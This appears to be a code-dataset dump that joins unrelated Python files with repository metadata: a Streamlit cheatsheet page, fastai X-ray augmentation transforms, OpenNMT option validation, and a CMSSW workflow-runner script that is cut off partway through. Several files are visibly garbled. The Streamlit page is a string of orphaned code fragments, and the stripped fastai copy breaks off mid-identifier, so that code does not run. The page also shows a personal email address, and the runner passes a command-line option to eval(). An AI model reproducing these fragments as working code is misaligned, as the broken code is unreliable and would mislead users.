""" Off Multipage Cheatsheet https://github.com/daniellewisDL/streamlit-cheat-sheet @daniellewisDL : https://github.com/daniellewisDL """ import streamlit as st from pathlib import Path import base64 from modules.toc import * st.set_page_config( page_title='Code Compendium Intro Page', layout="wide", ) def img_to_bytes(img_path): img_bytes = Path(img_path).read_bytes() encoded = base64.b64encode(img_bytes).decode() return encoded # Summary of the [docs](https://docs.streamlit.io/en/stable/api.html), as of [Streamlit v1.0.0](https://www.streamlit.io/). # ''', unsafe_allow_html=True) # st.sidebar.<widget> # >>> a = st.sidebar.radio(\'R:\',[1,2]) # ''') # $ streamlit --help # $ streamlit run your_script.py # $ streamlit hello # $ streamlit config show # $ streamlit cache clear # $ streamlit docs # $ streamlit --version # ''') # pip uninstall streamlit # pip install streamlit-nightly --upgrade # ''') in.** This webapp features the basic code snippets from all the "googling" from programming I have done. I have taken the plunge and have created my own markdown notebooks organizing information from quick solution tidbits to documentation for programming languages. Please visit my github for practical code and my research notebooks: *[rypaik (Ryan Paik) · GitHub](https://github.com/rypaik)* If you would like access to my Gist please email me. ryanpaik@protonmail.com ----- **Bio:** Currently a Sophomore at University of Illinois at Urbana-Champaign Working Nights on my degree from the System Engineering Program **Hobbies:** Trying to become a real guitar hero minus the game system, playing Valorant with the St Mark's crew, getting interesting eats no matter where I am, and playing toss with my baseball field rat of a cousin. The newest hobby is figuring out what I can build with all the new breakthroughs in technology. **Currently Working On** Frameworks and Languages: - Flask, Django, FastAPI, PyTorch, Streamlit, OpenCV, shell scripting, Python, C++ Databases: - Postgres, Redis, MongoDB, and applicable ORMs When I can get up for Air: - React, swift(ios), Rust, GO!! - Find a team to get a paper In Arxiv **This site will be constantly updated as long as I program. Feel free to pass on the URL.** ''') # col2.subheader('Display interactive widgets') # col2.code(''' # st.button('Hit me') # st.download_button('On the dl', data) # st.checkbox('Check me out') # st.radio('Radio', [1,2,3]) # st.selectbox('Select', [1,2,3]) # st.multiselect('Multiselect', [1,2,3]) # st.slider('Slide me', min_value=0, max_value=10) # st.select_slider('Slide to select', options=[1,'2']) # st.text_input('Enter some text') # st.number_input('Enter a number') # st.text_area('Area for textual entry') # st.date_input('Date input') # st.time_input('Time entry') # st.file_uploader('File uploader') # st.color_picker('Pick a color') # ''') # col2.write('Use widgets\' returned values in variables:') # >>> for i in range(int(st.number_input('Num:'))): foo() # >>> if st.sidebar.selectbox('I:',['f']) == 'f': b() # >>> my_slider_val = st.slider('Quinn Mallory', 1, 88) # >>> st.write(slider_val) # ''') ) # ''') form_identifier') # st.form_submit_button('Submit to me') # st.container() # st.columns(spec) # >>> col1, col2 = st.columns(2) # >>> col1.subheader('Columnisation') # st.expander('Expander') # >>> with st.expander('Expand'): # >>> st.write('Juicy deets') # ''') # >>> with st.form(key='my_form'): # >>> text_input = st.text_input(label='Enter some text') # >>> submit_button = st.form_submit_button(label='Submit') # ''') ) # >>> with st.echo(): # >>> st.write('Code will be executed and printed') # ''') riable_1_to_100) # st.spinner() # >>> with st.spinner(text='In progress'): # >>> time.sleep(5) # >>> st.success('Done') # st.balloons() # st.error('Error message') # st.warning('Warning message') # st.info('Info message') # st.success('Success message') # st.exception(e) # ''') lder = st.empty() # >>> my_placeholder.text('Replaced!') # st.help(pandas.DataFrame) # st.get_option(key) # st.set_option(key, value) # st.set_page_config(layout='wide') # ''') nerator.add_rows(data) # >>> my_table = st.table(df1) # >>> my_table.add_rows(df2) # >>> my_chart = st.line_chart(df1) # >>> my_chart.add_rows(df2) # ''') @st.cache # ... def fetch_and_clean_data(url): # ... # Mutate data at url # ... return data # >>> # Executes d1 as first time # >>> d1 = fetch_and_clean_data(ref1) # >>> # Does not execute d1; returns cached value, d1==d2 # >>> d2 = fetch_and_clean_data(ref1) # >>> # Different arg, so function d1 executes # >>> d3 = fetch_and_clean_data(ref2) # ''') # [State API](https://docs.streamlit.io/en/stable/session_state_api.html) # [Theme option reference](https://docs.streamlit.io/en/stable/theme_options.html) # [Components API reference](https://docs.streamlit.io/en/stable/develop_streamlit_components.html) # [API cheat sheet](https://share.streamlit.io/daniellewisdl/streamlit-cheat-sheet/app.py) # ''', unsafe_allow_html=True) def app(): cs_body() return None

false

true

790c4f569deac0e789782b59e58ef492e5915eaf

4,394

py

Python

train/tfms.py

lluissalord/radiology_ai

8b842502206f4bad53c2825beb1f58d2ed054d0d

[ "MIT" ]

3

2021-02-08T10:58:22.000Z

2021-08-18T19:51:27.000Z

train/tfms.py

lluissalord/radiology_ai

8b842502206f4bad53c2825beb1f58d2ed054d0d

[ "MIT" ]

null

train/tfms.py

lluissalord/radiology_ai

8b842502206f4bad53c2825beb1f58d2ed054d0d

[ "MIT" ]

null

from fastai.data.all import IntToFloatTensor from fastai.vision.learner import * from fastai.vision.augment import * from fastai.vision.core import PILImageBW, PILImage from fastai.vision.data import * from preprocessing.transforms import * # from preprocessing.dicom import * from preprocessing.misc import * def get_item_tfms(run_params): item_tfms = [] # if run_params['HIST_CLIPPING']: # item_tfms.append(XRayPreprocess(PIL_cls=PILImageBW, cut_min=run_params['HIST_CLIPPING_CUT_MIN'], cut_max=run_params['HIST_CLIPPING_CUT_MAX'], np_input=len(item_tfms) > 0, np_output=True)) if run_params["KNEE_LOCALIZER"]: item_tfms.append( KneeLocalizer( run_params["KNEE_SVM_MODEL_PATH"], PIL_cls=PILImageBW, resize=run_params["RESIZE"], np_input=len(item_tfms) > 0, np_output=True, ) ) else: item_tfms.append( Resize( run_params["RESIZE"], method=ResizeMethod.Pad, pad_mode=PadMode.Zeros ) ) if run_params["BACKGROUND_PREPROCESS"]: item_tfms.append( BackgroundPreprocess( PIL_cls=PILImageBW, np_input=len(item_tfms) > 0, np_output=True ) ) # item_tfms.append(RandomResizedCrop(RANDOM_RESIZE_CROP)) # Histogram scaling DICOM on the fly if run_params["CLAHE_SCALED"]: item_tfms.append( CLAHE_Transform( PIL_cls=PILImageBW, grayscale=not run_params["SELF_SUPERVISED"], np_input=len(item_tfms) > 0, np_output=False, ) ) elif run_params["HIST_SCALED"]: if run_params["HIST_SCALED_SELF"]: bins = None else: # bins = init_bins(fnames=L(list(final_df['Original'].values)), n_samples=100) all_valid_raw_preprocess = pd.concat( [pd.Series(unlabel_all_df.index), label_df["Raw_preprocess"]] ) bins = init_bins( fnames=L(list(all_valid_raw_preprocess.values)), n_samples=100, isDCM=False, ) # item_tfms.append(HistScaled(bins)) item_tfms.append(HistScaled_all(bins)) return item_tfms def get_batch_tfms(run_params): label_tfms = [ IntToFloatTensor(div=2 ** 16 - 1), *aug_transforms( pad_mode=PadMode.Zeros, mult=1.0, do_flip=True, flip_vert=False, max_rotate=90.0, min_zoom=0.9, max_zoom=1.2, max_lighting=0.4, max_warp=0.4, p_affine=0.9, p_lighting=0.9, mode="bilinear", align_corners=True, ), RandomResizedCropGPU( run_params["RANDOM_RESIZE_CROP"], min_scale=run_params["RANDOM_MIN_SCALE"] ), # Normalize() # Issue with CPU vs GPU interaction ] unlabel_tfms = [[IntToFloatTensor(div=2 ** 16 - 1)]] if run_params["SSL"] == run_params["SSL_FIX_MATCH"]: weak_transform = [ IntToFloatTensor(div=1), RandomResizedCropGPU( run_params["RANDOM_RESIZE_CROP"], min_scale=run_params["RANDOM_MIN_SCALE"], ), Flip(), # Normalize() ] unlabel_tfms.append(weak_transform) strong_transform = [ IntToFloatTensor(div=1), RandomResizedCropGPU( run_params["RANDOM_RESIZE_CROP"], min_scale=run_params["RANDOM_MIN_SCALE"], ), Flip(), Rotate(180), Brightness(), Contrast(), RandomErasing(), # Normalize() ] unlabel_tfms.append(strong_transform) elif run_params["SSL"] == run_params["SSL_MIX_MATCH"]: unlabel_transform = [ IntToFloatTensor(div=2 ** 16 - 1), RandomResizedCropGPU( run_params["RANDOM_RESIZE_CROP"], min_scale=run_params["RANDOM_MIN_SCALE"], ), Flip(), Rotate(180), Brightness(), Contrast(), # Normalize() ] unlabel_tfms.append(unlabel_transform) return label_tfms, unlabel_tfms

30.303448

197

0.561447

from fastai.data.all import IntToFloatTensor from fastai.vision.learner import * from fastai.vision.augment import * from fastai.vision.core import PILImageBW, PILImage from fastai.vision.data import * from preprocessing.transforms import * from preprocessing.misc import * def get_item_tfms(run_params): item_tfms = [] if run_params["KNEE_LOCALIZER"]: item_tfms.append( KneeLocalizer( run_params["KNEE_SVM_MODEL_PATH"], PIL_cls=PILImageBW, resize=run_params["RESIZE"], np_input=len(item_tfms) > 0, np_output=True, ) ) else: item_tfms.append( Resize( run_params["RESIZE"], method=ResizeMethod.Pad, pad_mode=PadMode.Zeros ) ) if run_params["BACKGROUND_PREPROCESS"]: item_tfms.append( BackgroundPreprocess( PIL_cls=PILImageBW, np_input=len(item_tfms) > 0, np_output=True ) ) if run_params["CLAHE_SCALED"]: item_tfms.append( CLAHE_Transform( PIL_cls=PILImageBW, grayscale=not run_params["SELF_SUPERVISED"], np_input=len(item_tfms) > 0, np_output=False, ) ) elif run_params["HIST_SCALED"]: if run_params["HIST_SCALED_SELF"]: bins = None else: all_valid_raw_preprocess = pd.concat( [pd.Series(unlabel_all_df.index), label_df["Raw_preprocess"]] ) bins = init_bins( fnames=L(list(all_valid_raw_preprocess.values)), n_samples=100, isDCM=False, ) item_tfms.append(HistScaled_all(bins)) return item_tfms def get_batch_tfms(run_params): label_tfms = [ IntToFloatTensor(div=2 ** 16 - 1), *aug_transforms( pad_mode=PadMode.Zeros, mult=1.0, do_flip=True, flip_vert=False, max_rotate=90.0, min_zoom=0.9, max_zoom=1.2, max_lighting=0.4, max_warp=0.4, p_affine=0.9, p_lighting=0.9, mode="bilinear", align_corners=True, ), RandomResizedCropGPU( run_params["RANDOM_RESIZE_CROP"], min_scale=run_params["RANDOM_MIN_SCALE"] ), loatTensor(div=2 ** 16 - 1)]] if run_params["SSL"] == run_params["SSL_FIX_MATCH"]: weak_transform = [ IntToFloatTensor(div=1), RandomResizedCropGPU( run_params["RANDOM_RESIZE_CROP"], min_scale=run_params["RANDOM_MIN_SCALE"], ), Flip(), ] unlabel_tfms.append(weak_transform) strong_transform = [ IntToFloatTensor(div=1), RandomResizedCropGPU( run_params["RANDOM_RESIZE_CROP"], min_scale=run_params["RANDOM_MIN_SCALE"], ), Flip(), Rotate(180), Brightness(), Contrast(), RandomErasing(), ] unlabel_tfms.append(strong_transform) elif run_params["SSL"] == run_params["SSL_MIX_MATCH"]: unlabel_transform = [ IntToFloatTensor(div=2 ** 16 - 1), RandomResizedCropGPU( run_params["RANDOM_RESIZE_CROP"], min_scale=run_params["RANDOM_MIN_SCALE"], ), Flip(), Rotate(180), Brightness(), Contrast(), ] unlabel_tfms.append(unlabel_transform) return label_tfms, unlabel_tfms

true

790c5016a7012f3bdea209e0d82aeb0e30f0aae5

5,783

py

Python

onmt/utils/parse.py

ACL2020-Submission/ACL2020

2a3d6e26d22c650cad823c68b65ee315aa1fe22c

[ "MIT" ]

null

onmt/utils/parse.py

ACL2020-Submission/ACL2020

2a3d6e26d22c650cad823c68b65ee315aa1fe22c

[ "MIT" ]

null

onmt/utils/parse.py

ACL2020-Submission/ACL2020

2a3d6e26d22c650cad823c68b65ee315aa1fe22c

[ "MIT" ]

null

import configargparse as cfargparse import os import torch import onmt.opts as opts from onmt.utils.logging import logger class ArgumentParser(cfargparse.ArgumentParser): def __init__( self, config_file_parser_class=cfargparse.YAMLConfigFileParser, formatter_class=cfargparse.ArgumentDefaultsHelpFormatter, **kwargs): super(ArgumentParser, self).__init__( config_file_parser_class=config_file_parser_class, formatter_class=formatter_class, **kwargs) @classmethod def defaults(cls, *args): """Get default arguments added to a parser by all ``*args``.""" dummy_parser = cls() for callback in args: callback(dummy_parser) defaults = dummy_parser.parse_known_args([])[0] return defaults @classmethod def update_model_opts(cls, model_opt): if model_opt.word_vec_size > 0: model_opt.src_word_vec_size = model_opt.word_vec_size model_opt.tgt_word_vec_size = model_opt.word_vec_size if model_opt.layers > 0: model_opt.enc_layers = model_opt.layers model_opt.dec_layers = model_opt.layers if model_opt.rnn_size > 0: model_opt.enc_rnn_size = model_opt.rnn_size model_opt.dec_rnn_size = model_opt.rnn_size model_opt.brnn = model_opt.encoder_type == "brnn" if model_opt.copy_attn_type is None: model_opt.copy_attn_type = model_opt.global_attention @classmethod def validate_model_opts(cls, model_opt): assert model_opt.model_type in ["text", "img", "audio", "vec"], \ "Unsupported model type %s" % model_opt.model_type # this check is here because audio allows the encoder and decoder to # be different sizes, but other model types do not yet same_size = model_opt.enc_rnn_size == model_opt.dec_rnn_size assert model_opt.model_type == 'audio' or same_size, \ "The encoder and decoder rnns must be the same size for now" assert model_opt.rnn_type != "SRU" or model_opt.gpu_ranks, \ "Using SRU requires -gpu_ranks set." if model_opt.share_embeddings: if model_opt.model_type != "text": raise AssertionError( "--share_embeddings requires --model_type text.") @classmethod def ckpt_model_opts(cls, ckpt_opt): # Load default opt values, then overwrite with the opts in # the checkpoint. That way, if there are new options added, # the defaults are used. opt = cls.defaults(opts.model_opts) opt.__dict__.update(ckpt_opt.__dict__) return opt @classmethod def validate_train_opts(cls, opt): if opt.epochs: raise AssertionError( "-epochs is deprecated please use -train_steps.") if opt.truncated_decoder > 0 and max(opt.accum_count) > 1: raise AssertionError("BPTT is not compatible with -accum > 1") if opt.gpuid: raise AssertionError( "gpuid is deprecated see world_size and gpu_ranks") if torch.cuda.is_available() and not opt.gpu_ranks: logger.info("WARNING: You have a CUDA device, \ should run with -gpu_ranks") if opt.world_size < len(opt.gpu_ranks): raise AssertionError( "parameter counts of -gpu_ranks must be less or equal " "than -world_size.") if opt.world_size == len(opt.gpu_ranks) and \ min(opt.gpu_ranks) > 0: raise AssertionError( "-gpu_ranks should have master(=0) rank " "unless -world_size is greater than len(gpu_ranks).") assert len(opt.data_ids) == len(opt.data_weights), \ "Please check -data_ids and -data_weights options!" assert len(opt.dropout) == len(opt.dropout_steps), \ "Number of dropout values must match accum_steps values" assert len(opt.attention_dropout) == len(opt.dropout_steps), \ "Number of attention_dropout values must match accum_steps values" @classmethod def validate_translate_opts(cls, opt): if opt.beam_size != 1 and opt.random_sampling_topk != 1: raise ValueError('Can either do beam search OR random sampling.') @classmethod def validate_preprocess_args(cls, opt): assert opt.max_shard_size == 0, \ "-max_shard_size is deprecated. Please use \ -shard_size (number of examples) instead." assert opt.shuffle == 0, \ "-shuffle is not implemented. Please shuffle \ your data before pre-processing." assert len(opt.train_src) == len(opt.train_tgt), \ "Please provide same number of src and tgt train files!" assert len(opt.train_src) == len(opt.train_ids), \ "Please provide proper -train_ids for your data!" for file in opt.train_src + opt.train_tgt: assert os.path.isfile(file), "Please check path of %s" % file assert not opt.valid_src or os.path.isfile(opt.valid_src), \ "Please check path of your valid src file!" assert not opt.valid_tgt or os.path.isfile(opt.valid_tgt), \ "Please check path of your valid tgt file!" assert not opt.src_vocab or os.path.isfile(opt.src_vocab), \ "Please check path of your src vocab!" assert not opt.tgt_vocab or os.path.isfile(opt.tgt_vocab), \ "Please check path of your tgt vocab!"

41.307143

79

0.6175

import configargparse as cfargparse import os import torch import onmt.opts as opts from onmt.utils.logging import logger class ArgumentParser(cfargparse.ArgumentParser): def __init__( self, config_file_parser_class=cfargparse.YAMLConfigFileParser, formatter_class=cfargparse.ArgumentDefaultsHelpFormatter, **kwargs): super(ArgumentParser, self).__init__( config_file_parser_class=config_file_parser_class, formatter_class=formatter_class, **kwargs) @classmethod def defaults(cls, *args): dummy_parser = cls() for callback in args: callback(dummy_parser) defaults = dummy_parser.parse_known_args([])[0] return defaults @classmethod def update_model_opts(cls, model_opt): if model_opt.word_vec_size > 0: model_opt.src_word_vec_size = model_opt.word_vec_size model_opt.tgt_word_vec_size = model_opt.word_vec_size if model_opt.layers > 0: model_opt.enc_layers = model_opt.layers model_opt.dec_layers = model_opt.layers if model_opt.rnn_size > 0: model_opt.enc_rnn_size = model_opt.rnn_size model_opt.dec_rnn_size = model_opt.rnn_size model_opt.brnn = model_opt.encoder_type == "brnn" if model_opt.copy_attn_type is None: model_opt.copy_attn_type = model_opt.global_attention @classmethod def validate_model_opts(cls, model_opt): assert model_opt.model_type in ["text", "img", "audio", "vec"], \ "Unsupported model type %s" % model_opt.model_type same_size = model_opt.enc_rnn_size == model_opt.dec_rnn_size assert model_opt.model_type == 'audio' or same_size, \ "The encoder and decoder rnns must be the same size for now" assert model_opt.rnn_type != "SRU" or model_opt.gpu_ranks, \ "Using SRU requires -gpu_ranks set." if model_opt.share_embeddings: if model_opt.model_type != "text": raise AssertionError( "--share_embeddings requires --model_type text.") @classmethod def ckpt_model_opts(cls, ckpt_opt): opt = cls.defaults(opts.model_opts) opt.__dict__.update(ckpt_opt.__dict__) return opt @classmethod def validate_train_opts(cls, opt): if opt.epochs: raise AssertionError( "-epochs is deprecated please use -train_steps.") if opt.truncated_decoder > 0 and max(opt.accum_count) > 1: raise AssertionError("BPTT is not compatible with -accum > 1") if opt.gpuid: raise AssertionError( "gpuid is deprecated see world_size and gpu_ranks") if torch.cuda.is_available() and not opt.gpu_ranks: logger.info("WARNING: You have a CUDA device, \ should run with -gpu_ranks") if opt.world_size < len(opt.gpu_ranks): raise AssertionError( "parameter counts of -gpu_ranks must be less or equal " "than -world_size.") if opt.world_size == len(opt.gpu_ranks) and \ min(opt.gpu_ranks) > 0: raise AssertionError( "-gpu_ranks should have master(=0) rank " "unless -world_size is greater than len(gpu_ranks).") assert len(opt.data_ids) == len(opt.data_weights), \ "Please check -data_ids and -data_weights options!" assert len(opt.dropout) == len(opt.dropout_steps), \ "Number of dropout values must match accum_steps values" assert len(opt.attention_dropout) == len(opt.dropout_steps), \ "Number of attention_dropout values must match accum_steps values" @classmethod def validate_translate_opts(cls, opt): if opt.beam_size != 1 and opt.random_sampling_topk != 1: raise ValueError('Can either do beam search OR random sampling.') @classmethod def validate_preprocess_args(cls, opt): assert opt.max_shard_size == 0, \ "-max_shard_size is deprecated. Please use \ -shard_size (number of examples) instead." assert opt.shuffle == 0, \ "-shuffle is not implemented. Please shuffle \ your data before pre-processing." assert len(opt.train_src) == len(opt.train_tgt), \ "Please provide same number of src and tgt train files!" assert len(opt.train_src) == len(opt.train_ids), \ "Please provide proper -train_ids for your data!" for file in opt.train_src + opt.train_tgt: assert os.path.isfile(file), "Please check path of %s" % file assert not opt.valid_src or os.path.isfile(opt.valid_src), \ "Please check path of your valid src file!" assert not opt.valid_tgt or os.path.isfile(opt.valid_tgt), \ "Please check path of your valid tgt file!" assert not opt.src_vocab or os.path.isfile(opt.src_vocab), \ "Please check path of your src vocab!" assert not opt.tgt_vocab or os.path.isfile(opt.tgt_vocab), \ "Please check path of your tgt vocab!"

true

790c5028cb5c7b0ac170367e3ba00736ba805ec9

14,528

py

Python

Configuration/PyReleaseValidation/scripts/runTheMatrix.py

NTrevisani/cmssw

a212a27526f34eb9507cf8b875c93896e6544781

[ "Apache-2.0" ]

1

2020-06-08T11:39:24.000Z

Configuration/PyReleaseValidation/scripts/runTheMatrix.py

NTrevisani/cmssw

a212a27526f34eb9507cf8b875c93896e6544781

[ "Apache-2.0" ]

null

Configuration/PyReleaseValidation/scripts/runTheMatrix.py

NTrevisani/cmssw

a212a27526f34eb9507cf8b875c93896e6544781

[ "Apache-2.0" ]

1

2020-07-26T16:42:20.000Z

#!/usr/bin/env python from __future__ import print_function import sys from Configuration.PyReleaseValidation.MatrixReader import MatrixReader from Configuration.PyReleaseValidation.MatrixRunner import MatrixRunner from Configuration.PyReleaseValidation.MatrixInjector import MatrixInjector,performInjectionOptionTest # ================================================================================ def showRaw(opt): mrd = MatrixReader(opt) mrd.showRaw(opt.useInput, opt.refRel, opt.fromScratch, opt.raw, opt.step1Only, selected=opt.testList) return 0 # ================================================================================ def runSelected(opt): mrd = MatrixReader(opt) mrd.prepare(opt.useInput, opt.refRel, opt.fromScratch) # test for wrong input workflows if opt.testList: definedWF = [] for dwf in mrd.workFlows: definedWF.append(dwf.numId) for twf in opt.testList: if twf not in definedWF: raise ValueError('Not defined workflow ', twf , ' requested') ret = 0 if opt.show: mrd.show(opt.testList, opt.extended, opt.cafVeto) if opt.testList : print('testListected items:', opt.testList) else: mRunnerHi = MatrixRunner(mrd.workFlows, opt.nProcs, opt.nThreads) ret = mRunnerHi.runTests(opt) if opt.wmcontrol: if ret!=0: print('Cannot go on with wmagent injection with failing workflows') else: wfInjector = MatrixInjector(opt,mode=opt.wmcontrol,options=opt.wmoptions) ret= wfInjector.prepare(mrd, mRunnerHi.runDirs) if ret==0: wfInjector.upload() wfInjector.submit() return ret # ================================================================================ if __name__ == '__main__': #this can get out of here predefinedSet={ 'limited' : [5.1, #FastSim ttbar 7.3, #CosmicsSPLoose_UP17 8, #BH/Cosmic MC 25, #MC ttbar 4.22, #cosmic data 4.53, #run1 data + miniAOD 9.0, #Higgs200 charged taus 1000, #data+prompt 1001, #data+express 101.0, #SingleElectron120E120EHCAL 136.731, #2016B Photon data 136.7611, #2016E JetHT reMINIAOD from 80X legacy 136.8311, #2017F JetHT reMINIAOD from 94X reprocessing 136.788, #2017B Photon data 136.85, #2018A Egamma data 140.53, #2011 HI data 140.56, #2018 HI data 158.0, #2018 HI MC with pp-like reco 1306.0, #SingleMu Pt1 UP15 1325.7, #test NanoAOD from existing MINI 1330, #Run2 MC Zmm 135.4, #Run 2 Zee ttbar 10042.0, #2017 ZMM 10024.0, #2017 ttbar 10224.0, #2017 ttbar PU 10824.0, #2018 ttbar 11634.0, #2021 ttbar 12434.0, #2023 ttbar 20034.0, #2026D35 ttbar (MTD TDR baseline) 20434.0, #2026D41 ttbar (L1T TDR baseline) 21234.0, #2026D44 (exercise HF nose) 22034.0, #2026D46 ttbar (exercise V11 HGCal) 25202.0, #2016 ttbar UP15 PU 250202.181, #2018 ttbar stage1 + stage2 premix ], 'jetmc': [5.1, 13, 15, 25, 38, 39], #MC 'metmc' : [5.1, 15, 25, 37, 38, 39], #MC 'muonmc' : [5.1, 124.4, 124.5, 20, 21, 22, 23, 25, 30], #MC } import optparse usage = 'usage: runTheMatrix.py --show -s ' parser = optparse.OptionParser(usage) parser.add_option('-b','--batchName', help='relval batch: suffix to be appended to Campaign name', dest='batchName', default='' ) parser.add_option('-m','--memoryOffset', help='memory of the wf for single core', dest='memoryOffset', default=3000 ) parser.add_option('--addMemPerCore', help='increase of memory per each n > 1 core: memory(n_core) = memoryOffset + (n_core-1) * memPerCore', dest='memPerCore', default=1500 ) parser.add_option('-j','--nproc', help='number of processes. 0 Will use 4 processes, not execute anything but create the wfs', dest='nProcs', default=4 ) parser.add_option('-t','--nThreads', help='number of threads per process to use in cmsRun.', dest='nThreads', default=1 ) parser.add_option('-n','--showMatrix', help='Only show the worflows. Use --ext to show more', dest='show', default=False, action='store_true' ) parser.add_option('-e','--extended', help='Show details of workflows, used with --show', dest='extended', default=False, action='store_true' ) parser.add_option('-s','--selected', help='Run a pre-defined selected matrix of wf. Deprecated, please use -l limited', dest='restricted', default=False, action='store_true' ) parser.add_option('-l','--list', help='Coma separated list of workflow to be shown or ran. Possible keys are also '+str(predefinedSet.keys())+'. and wild card like muon, or mc', dest='testList', default=None ) parser.add_option('-r','--raw', help='Temporary dump the .txt needed for prodAgent interface. To be discontinued soon. Argument must be the name of the set (standard, pileup,...)', dest='raw' ) parser.add_option('-i','--useInput', help='Use recyling where available. Either all, or a coma separated list of wf number.', dest='useInput', default=None ) parser.add_option('-w','--what', help='Specify the set to be used. Argument must be the name of the set (standard, pileup,...)', dest='what', default='all' ) parser.add_option('--step1', help='Used with --raw. Limit the production to step1', dest='step1Only', default=False ) parser.add_option('--maxSteps', help='Only run maximum on maxSteps. Used when we are only interested in first n steps.', dest='maxSteps', default=9999, type="int" ) parser.add_option('--fromScratch', help='Coma separated list of wf to be run without recycling. all is not supported as default.', dest='fromScratch', default=None ) parser.add_option('--refRelease', help='Allow to modify the recycling dataset version', dest='refRel', default=None ) parser.add_option('--wmcontrol', help='Create the workflows for injection to WMAgent. In the WORKING. -wmcontrol init will create the the workflows, -wmcontrol test will dryRun a test, -wmcontrol submit will submit to wmagent', choices=['init','test','submit','force'], dest='wmcontrol', default=None, ) parser.add_option('--revertDqmio', help='When submitting workflows to wmcontrol, force DQM outout to use pool and not DQMIO', choices=['yes','no'], dest='revertDqmio', default='no', ) parser.add_option('--optionswm', help='Specify a few things for wm injection', default='', dest='wmoptions') parser.add_option('--keep', help='allow to specify for which coma separated steps the output is needed', default=None) parser.add_option('--label', help='allow to give a special label to the output dataset name', default='') parser.add_option('--command', help='provide a way to add additional command to all of the cmsDriver commands in the matrix', dest='command', default=None ) parser.add_option('--apply', help='allow to use the --command only for 1 coma separeated', dest='apply', default=None) parser.add_option('--workflow', help='define a workflow to be created or altered from the matrix', action='append', dest='workflow', default=None ) parser.add_option('--dryRun', help='do not run the wf at all', action='store_true', dest='dryRun', default=False ) parser.add_option('--testbed', help='workflow injection to cmswebtest (you need dedicated rqmgr account)', dest='testbed', default=False, action='store_true' ) parser.add_option('--noCafVeto', help='Run from any source, ignoring the CAF label', dest='cafVeto', default=True, action='store_false' ) parser.add_option('--overWrite', help='Change the content of a step for another. List of pairs.', dest='overWrite', default=None ) parser.add_option('--noRun', help='Remove all run list selection from wfs', dest='noRun', default=False, action='store_true') parser.add_option('--das-options', help='Options to be passed to dasgoclient.', dest='dasOptions', default="--limit 0", action='store') parser.add_option('--job-reports', help='Dump framework job reports', dest='jobReports', default=False, action='store_true') parser.add_option('--ibeos', help='Use IB EOS site configuration', dest='IBEos', default=False, action='store_true') opt,args = parser.parse_args() if opt.IBEos: import os from commands import getstatusoutput as run_cmd ibeos_cache = os.path.join(os.getenv("LOCALRT"), "ibeos_cache.txt") if not os.path.exists(ibeos_cache): err, out = run_cmd("curl -L -s -o %s https://raw.githubusercontent.com/cms-sw/cms-sw.github.io/master/das_queries/ibeos.txt" % ibeos_cache) if err: run_cmd("rm -f %s" % ibeos_cache) print("Error: Unable to download ibeos cache information") print(out) sys.exit(err) for cmssw_env in [ "CMSSW_BASE", "CMSSW_RELEASE_BASE" ]: cmssw_base = os.getenv(cmssw_env,None) if not cmssw_base: continue cmssw_base = os.path.join(cmssw_base,"src/Utilities/General/ibeos") if os.path.exists(cmssw_base): os.environ["PATH"]=cmssw_base+":"+os.getenv("PATH") os.environ["CMS_PATH"]="/cvmfs/cms-ib.cern.ch" os.environ["CMSSW_USE_IBEOS"]="true" print(">> WARNING: You are using SITECONF from /cvmfs/cms-ib.cern.ch") break if opt.restricted: print('Deprecated, please use -l limited') if opt.testList: opt.testList+=',limited' else: opt.testList='limited' def stepOrIndex(s): if s.isdigit(): return int(s) else: return s if opt.apply: opt.apply=map(stepOrIndex,opt.apply.split(',')) if opt.keep: opt.keep=map(stepOrIndex,opt.keep.split(',')) if opt.testList: testList=[] for entry in opt.testList.split(','): if not entry: continue mapped=False for k in predefinedSet: if k.lower().startswith(entry.lower()) or k.lower().endswith(entry.lower()): testList.extend(predefinedSet[k]) mapped=True break if not mapped: try: testList.append(float(entry)) except: print(entry,'is not a possible selected entry') opt.testList = list(set(testList)) if opt.useInput: opt.useInput = opt.useInput.split(',') if opt.fromScratch: opt.fromScratch = opt.fromScratch.split(',') if opt.nProcs: opt.nProcs=int(opt.nProcs) if opt.nThreads: opt.nThreads=int(opt.nThreads) if (opt.memoryOffset): opt.memoryOffset=int(opt.memoryOffset) if (opt.memPerCore): opt.memPerCore=int(opt.memPerCore) if opt.wmcontrol: performInjectionOptionTest(opt) if opt.overWrite: opt.overWrite=eval(opt.overWrite) if opt.raw and opt.show: ###prodAgent to be discontinued ret = showRaw(opt) else: ret = runSelected(opt) sys.exit(ret)

41.390313

216

0.489744

from __future__ import print_function import sys from Configuration.PyReleaseValidation.MatrixReader import MatrixReader from Configuration.PyReleaseValidation.MatrixRunner import MatrixRunner from Configuration.PyReleaseValidation.MatrixInjector import MatrixInjector,performInjectionOptionTest def showRaw(opt): mrd = MatrixReader(opt) mrd.showRaw(opt.useInput, opt.refRel, opt.fromScratch, opt.raw, opt.step1Only, selected=opt.testList) return 0 def runSelected(opt): mrd = MatrixReader(opt) mrd.prepare(opt.useInput, opt.refRel, opt.fromScratch) if opt.testList: definedWF = [] for dwf in mrd.workFlows: definedWF.append(dwf.numId) for twf in opt.testList: if twf not in definedWF: raise ValueError('Not defined workflow ', twf , ' requested') ret = 0 if opt.show: mrd.show(opt.testList, opt.extended, opt.cafVeto) if opt.testList : print('testListected items:', opt.testList) else: mRunnerHi = MatrixRunner(mrd.workFlows, opt.nProcs, opt.nThreads) ret = mRunnerHi.runTests(opt) if opt.wmcontrol: if ret!=0: print('Cannot go on with wmagent injection with failing workflows') else: wfInjector = MatrixInjector(opt,mode=opt.wmcontrol,options=opt.wmoptions) ret= wfInjector.prepare(mrd, mRunnerHi.runDirs) if ret==0: wfInjector.upload() wfInjector.submit() return ret if __name__ == '__main__': predefinedSet={ 'limited' : [5.1, 7.3, 8, 25, 4.22, 4.53, 9.0, 1000, 1001, 101.0, 136.731, 136.7611, 136.8311, 136.788, 136.85, 140.53, 140.56, 158.0, 1306.0, 1325.7, 1330, 135.4, 10042.0, 10024.0, 10224.0, 10824.0, 11634.0, 12434.0, 20034.0, 20434.0, 21234.0, 22034.0, 25202.0, 250202.181, ], 'jetmc': [5.1, 13, 15, 25, 38, 39], 'metmc' : [5.1, 15, 25, 37, 38, 39], 'muonmc' : [5.1, 124.4, 124.5, 20, 21, 22, 23, 25, 30], } import optparse usage = 'usage: runTheMatrix.py --show -s ' parser = optparse.OptionParser(usage) parser.add_option('-b','--batchName', help='relval batch: suffix to be appended to Campaign name', dest='batchName', default='' ) parser.add_option('-m','--memoryOffset', help='memory of the wf for single core', dest='memoryOffset', default=3000 ) parser.add_option('--addMemPerCore', help='increase of memory per each n > 1 core: 